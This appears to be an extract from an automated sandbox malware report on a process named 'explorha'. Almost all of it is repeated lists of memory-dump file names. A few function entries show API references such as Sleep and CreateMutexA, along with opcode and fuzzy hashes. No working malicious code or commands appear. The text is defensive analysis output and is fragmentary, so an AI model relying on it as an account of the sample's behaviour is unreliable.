Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateThread$Sleep
String ID:
API String ID: 422425972-0
Opcode ID: e32c4f704b3d3f7342cddb2cfaf8f5894fe071c22a420f4882f1405db12e6557
Instruction ID: 957c45e242225ef1629e746048083d206537f48b4c7603289967a23f43da862d
Opcode Fuzzy Hash: e32c4f704b3d3f7342cddb2cfaf8f5894fe071c22a420f4882f1405db12e6557
Instruction Fuzzy Hash: 4BD01231FD476476F13063511C03F962A156B09F51F340402B71C7F1D00DC834008ADD

Uniqueness

Uniqueness Score: -1.00%

Function 00B083F9 Relevance: 3.1, APIs: 2, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8d1811ed0908a8b1ad6f198c88404057360ca5c86bba59eb366b248bd648c4c
Instruction ID: 8a6ea418f01ef9099e97b3b7f08ae0e06d34b2d641c3b6c49d4ff5275f03d959
Opcode Fuzzy Hash: b8d1811ed0908a8b1ad6f198c88404057360ca5c86bba59eb366b248bd648c4c
Instruction Fuzzy Hash: 3B21DA71901609BEEB11BB649C42BAF3BE9DF41378F204390F9A42B2C1DF705F0596A5

Uniqueness

Uniqueness Score: -1.00%

Function 00AE8200 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 00AE8285

Strings

8h, xrefs: 00AE71D2, 00AE823D

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: 8h
API String ID: 3472027048-91215238
Opcode ID: 87f1639831616c30b89e2e7b42931f653bd2681d985620a4e9dd2cabcb1e3ffa
Instruction ID: 40728c9a495cde4ab1a0b8d3f8beb7aba40a0befe17ec7ce5545e5b98af617b4
Opcode Fuzzy Hash: 87f1639831616c30b89e2e7b42931f653bd2681d985620a4e9dd2cabcb1e3ffa
Instruction Fuzzy Hash: 8DF0F471E00A44ABC710BB79DE03B1EBBB8EB46720F900758E8116B3E1DB342A0087D2

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA430 Relevance: 3.0, APIs: 2, Instructions: 19sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2e609a9dec9c57ecc2e23cb07b3a776d87faaec6c0e6134712595e5d76c8614a
Instruction ID: ef8002581158fea71d76fb9bc4026509a250ef44129471ef1c94ad3caab4a6c6
Opcode Fuzzy Hash: 2e609a9dec9c57ecc2e23cb07b3a776d87faaec6c0e6134712595e5d76c8614a
Instruction Fuzzy Hash: B4D05E90298B00EAF12477DC4C85B7E22C8C706704F305D10A648DA1E089E064800673

Uniqueness

Uniqueness Score: -1.00%

Function 00AD7E50 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00AD7FF4

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
